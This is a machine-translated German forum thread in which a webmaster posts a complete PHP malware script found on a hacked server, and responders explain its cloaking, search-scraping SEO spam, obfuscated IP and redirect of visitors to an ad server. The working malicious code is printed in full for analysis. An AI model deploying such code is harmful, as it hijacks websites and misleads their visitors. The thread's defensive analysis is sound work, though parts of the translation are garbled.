it-swarm.com.de

PHP Malware auf dem Server - aber hilflos bei der Identifizierung des Schadcodes

Ich bin neu in dieser Community, bitte vergib mir, wenn meine Frage dumm ist.

Ich entdeckte, dass mein Server gehackt wurde und fand mehrere PHP Dateien darauf.

Ich war nicht faul und habe mein Bestes versucht, um herauszufinden, was die Datei tatsächlich tat, aber ich verstehe wirklich nicht, was der Zweck davon ist.

Eine PHP Datei ist:

<?php



$user_agent_to_filter = array( '#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#',

                               '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i',

                               '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i','#www\.cys\.ru#i',

                               '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i',

                               '#CFNetwork#i', '#ConveraCrawler#i','#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i',

                               '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i',

                               '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-Perl#i',

                               '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i',

                               '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i',

                               '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i',

                               '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i',

                               '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i',

                               '#Yandex#i', '#Yanga#i', '#Yeti#i','#msnbot#i',

                               '#spider#i', '#yahoo#i', '#jeeves#i' ,'#google#i' ,'#altavista#i',

                               '#scooter#i' ,'#av\s*fetch#i' ,'#asterias#i' ,'#spiderthread revision#i' ,'#sqworm#i',

                               '#ask#i' ,'#lycos.spider#i' ,'#infoseek sidewinder#i' ,'#ultraseek#i' ,'#polybot#i',

                               '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*Slurp#i',

                               '#charlotte#i', '#ngb#i', '#BingBot#i' ) ;



if ( !empty( $_SERVER['HTTP_USER_AGENT'] ) && ( FALSE !== strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) ){

    $isbot = 1;

    }



if( FALSE !== strpos( gethostbyaddr($_SERVER['REMOTE_ADDR']), 'google')) 

{

    $isbot = 1;

}



$adr1 = ".....................................";

$adr2 = ".";

$adr3 = "...................................................................................................................................................................................................................";

$adr4 = "..............................................................................................................................................................................................................";

$ard = strlen($adr1).".".strlen($adr2).".".strlen($adr3).".".strlen($adr4);



if ($isbot)

{



    $myname  = basename($_SERVER['SCRIPT_NAME'], ".php");   

    if (file_exists($myname))

    {

    $html = file($myname);

    $html = implode($html, "");

    echo $html;

    exit;

    }



    //if (!strpos($_SERVER['HTTP_USER_AGENT'], "google")) exit;



    while($tpl == 0)

    {

$tpl_n = Rand(1,9);

$tpl = @file("tpl$tpl_n.html");

    }



$keyword = "1 euro terno su tutte vincita
";

$keyword = chop($keyword);

$relink = "<UL></UL>";







 $query_pars = $keyword;

 $query_pars_2 = str_replace(" ", "+", chop($query_pars));



for ($page=1;$page<3;$page++)

{

 $ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "http://www.ask.com/web?q=$query_pars_2&qsrc=11&adt=1&o=0&l=dir&page=$page"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);



$result = str_replace("\r\n", "", $result);

$result = str_replace("\n", "", $result);



        preg_match_all ("#web-result-description\">(.*)</p></div>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;



}       





         $mas1 = array("1", "2", "3", "4", "5");

    $mas2 = array("11-20", "21-30", "31-40", "41-50", "51-60");

    $setmktBing = "US";

    $lang = "US";





$ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "http://search.yahoo.com/search?p=$query_pars_2"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);

        preg_match_all ("#<p class=\"lh-17\">(.*)</p></div>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;  



    //  echo $result;

    //  exit;



    sleep(1);



foreach ($mas1 as $var=>$key)

{       

        $link = "";

        preg_match_all ("#<strong>$key</strong><a href=\"(.*)\" title=\"Results $mas2[$var]\"#iU",$result,$mm);

        $link = str_replace('<strong>'.$key.'</strong><a href="', "", $mm[0][0]);

        $link = str_replace('" title="Results '.$mas2[$var].'"', "", $link);

        if (strlen($link)<5) continue;

$ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "$link"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);

        preg_match_all ("#<p class=\"lh-17\">(.*)</p></div>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;  



    sleep(1);

        }



        $ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "https://www.google.com/search?q=$query_pars_2&num=100&newwindow=1&source=lnt&tbs=qdr:d&sa=X"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

//curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$result = curl_exec($ch); 

curl_close($ch);



$result = str_replace("\r\n", "", $result);

$result = str_replace("\n", "", $result);



//echo $result;



        preg_match_all ("#<span class=\"st\">(.*)</span>#iU",$result,$m);

        foreach ($m[1] as $a) $text .= $a;



                $text = str_replace("...", "", $text);

        $text = strip_tags($text); 

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);

        $text = str_replace("  ", " ", $text);



        $text = explode(".", $text);



        shuffle($text);

            $text = array_unique($text);

        $text = implode(". ", $text);



        $html = implode ("\n", $tpl);

        $html = str_replace("[BKEYWORD]", $keyword, $html);

        $html = str_replace("[LINKS]", $relink, $html);

        $html = str_replace("[SNIPPETS]", $text, $html);



        $out = fopen($myname, "w");

        fwrite($out, $html);

        fclose($out);



        echo $html;



}   



if([email protected]$isbot)

{





$s = dirname($_SERVER['PHP_SELF']);

if ($s == '\\' | $s == '/') {$s = ('');}  

$s = $_SERVER['SERVER_NAME'] . $s;



header("Location: http://$ard/input/?mark=20160624-$s");

//header("Location: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");

exit;

}



?>

Nach meinem Verständnis bewirkt der Code Folgendes:

1) Überprüfen Sie, ob es von einem Bot ausgeführt wird - wenn ja, beenden Sie

2) entschlüsseln Sie die versteckte IP

3) einen Suchbegriff auf sehr nutzlose Weise erstellen?

4) Stellen Sie drei Curl-Suchanfragen an Yahoo, Google und ask.com

5) Holen Sie sich die Daten aus diesen Suchanfragen, nehmen Sie nur bestimmte Informationen

6) diese Informationen in eine Datei schreiben?

Nach meinem besten Verständnis ist es das, was das Programm tut, aber ich verstehe nicht, was der Schaden ist? Warum sollte sich jemand die Mühe machen, eine Website zu finden, auf die er sich schleichen kann? oder vermisse ich etwas kritisches in diesem Skript?

Danke für deine Hilfe!

19
Tom

(Ich habe den Code nicht durchgesehen, ich spekuliere, weil Ihre Beschreibung zum Modus einer Malware passt, die ich in der Vergangenheit gesehen habe.)

Es ist wahrscheinlich ein Bot, der versucht, ein Netzwerk von Backlinks zu einer bekannten Gruppe von Webressourcen aufzubauen.

Grundsätzlich finden sie eine anfällige Site und platzieren sie. Von dort aus führt das Skript eine Suche durch, um herauszufinden, welche Assets des Angreifers derzeit am höchsten (oder am niedrigsten) sind und von Google/et al. Nicht bestraft wurden. noch.

Sie fördern ihre Assets weiter, indem sie Top-Keywords und Links zu diesen Websites in ein HTML-Dokument implantieren, das von Ihrer Domain bereitgestellt wird. Wenn Google Ihre Website indiziert, sehen sie, dass Sie ihre Websites unterstützen, und sie rangieren in den Suchergebnissen sogar noch höher.

Es ist ziemlich klug.

Es ist jedoch giftig für Sie, denn wenn Google Spam-Farmen bestraft, werden auch Websites bestraft, die auf sie verlinken. Ihre SEO wird wahrscheinlich einen Treffer erzielen, wenn/wenn der Tag des Jüngsten Gerichts kommt. Korrigieren Sie dies so schnell wie möglich.

30
Ivan

Nun, ich gebe Ihnen etwas mehr Details:

Beachten Sie, dass dies keine Malware ist, die versucht, tiefer in Ihr System einzudringen. Es handelt sich um ein Skript, mit dem jemand (ich glaube Italiener) mit Ihrem Server auf zwei Arten (auf Ihre Kosten) Geld verdienen kann:

  • Wenn es sich um einen Bot (einen Suchbot) handelt, der die Anfrage ausführt, werden einige Anfragen ausgeführt, die für das Schlüsselwort werben: "1 Euro terno su tutte vincita" und es wird eine Reihe von Wörtern gedruckt, die aus entnommen wurden die Ergebnisse. Sie sind also Werbung für einige Lottoseiten von Ihrer Server-IP.

Dies sind die Basis-URLs:

# https://www.google.com/search?q=1 euro terno su tutte vincita&num=100&newwindow=1&source=lnt&tbs=qdr:d&sa=X
# http://search.yahoo.com/search?p=1 euro terno su tutte vincita
# http://www.ask.com/web?q=1 euro terno su tutte vincita&qsrc=11&adt=1&o=0&l=dir&page=$page
  • Wenn es sich nicht um einen Bot handelt, wenn es sich um einen guten Benutzeragenten handelt, wird das Skript mleiten den Benutzerbrowser auf einen anderen gefährdeten Server, diesmal jedoch auf einen Porno-Werbenetzwerk.

Es gibt eine versteckte IP im Skript (in den Punkten):

  • IP: 37.1.211.206
  • LAND: USA (USA)


$adr1 = ".....................................";
$adr2 = ".";
$adr3 = "...................................................................................................................................................................................................................";
$adr4 = "..............................................................................................................................................................................................................";
// get it from the lenght of the strings, not the best way to hidde something ^^
$ard = strlen($adr1) . "." . strlen($adr2) . "." . strlen($adr3) . "." . strlen($adr4);
// echo $ard;

Und der andere Teil verbindet einfach die Zeichenfolgen und führt diese Anforderung aus: http://37.1.211.206/input/?mark=20160624-(SERVER_NAME)

if ([email protected]$isbot) {
    $s = dirname($_SERVER['PHP_SELF']);
    if ($s == '\\' | $s == '/') {
        $s = ('');
    }
    $s = $_SERVER['SERVER_NAME'] . $s;
    header("Location: http://$ard/input/?mark=20160624-$s");
    exit;
}

Am Ende speichert der Server unter 37.1.211.206 Ihre Server-ID und leitet Sie zu einem zufälligen Porno-Anzeigenserver weiter.

14
jmingov

Verwenden Sie die IP-Adresse, um diesem Skript gerecht zu werden.

Eine Traceroute zu seiner IP von hier (lokale Hopfen entfernt):

  3    17 ms    17 ms    17 ms  be4066.ccr22.yyz02.atlas.cogentco.com [38.122.69.117]
  4    23 ms    24 ms    23 ms  be2994.ccr22.cle04.atlas.cogentco.com [154.54.31.233]
  5    31 ms    30 ms    31 ms  be2718.ccr42.ord01.atlas.cogentco.com [154.54.7.129]
  6    32 ms    31 ms    31 ms  be2248.ccr22.ord03.atlas.cogentco.com [154.54.5.158]
  7    32 ms    32 ms    32 ms  be2617.rcr12.b002281-5.ord03.atlas.cogentco.com [154.54.40.94]
  8    31 ms    37 ms    31 ms  38.122.181.114
  9    31 ms    33 ms    31 ms  37.1.209.2
 10    32 ms    32 ms    31 ms  37.1.211.206

Die umgekehrte DNS-Suche auf den letzten 3 Hosts zeigt nichts weiter direkt an, außer wenn Sie die gesamten Subnetze überprüfen:

38.122.181.113  te0-0-0-2.rcr12.b002281-5.ord03.atlas.cogentco.com

Das Subnetz scheint ein Kundenendpunkt für den ISP von Cogent Communications zu sein. Wenn wir den Server des Angreifers schnell portieren, werden nur 22/ssh und 80/http geöffnet. Das deutet stark auf eine Linux-Box oder einen Router hin. Die Webseite auf dem Server scheint die Neuinstallationsseite für Apache zu sein. Wenn Sie zum Skript im Code gehen, werden Sie zuerst zur Domain hstraffa.com und dann zu einer Pornoseite eines Drittanbieters weitergeleitet. Ein kurzer Blick auf die soziale Präsenz von hstraffa.com zeigt nur 2 Google + Likes. Hier ist eine (WARNUNG: minimaler, aber vorhandener Grafikinhalt) https://plus.google.com/105307781761317547299 und eine andere: https://plus.google.com/115324666314038607739 =. Es scheinen indische Namen zu sein, und ein Mensch scheint dahinter zu stehen. Ein nicht sehr erfahrenes Drehbuchkind, das versucht, Pornowerbung zu monetarisieren.

Ich würde all dies nur mit Ihren eigenen Untersuchungsergebnissen (PHP-Skripten und Serverprotokollen im Zusammenhang mit dem Vorfall) nehmen und mich an den Sicherheitsbeauftragten von Cogent Communications wenden. Lassen Sie sie sich darum kümmern.

Sie müssen jedoch Ihre eigene Seite bereinigen, und ich würde eine Neuinstallation des Servers empfehlen, wenn Sie nicht herausfinden können, wie sie hereingekommen sind. Das nächste Eindringen ist möglicherweise nicht so harmlos ...

6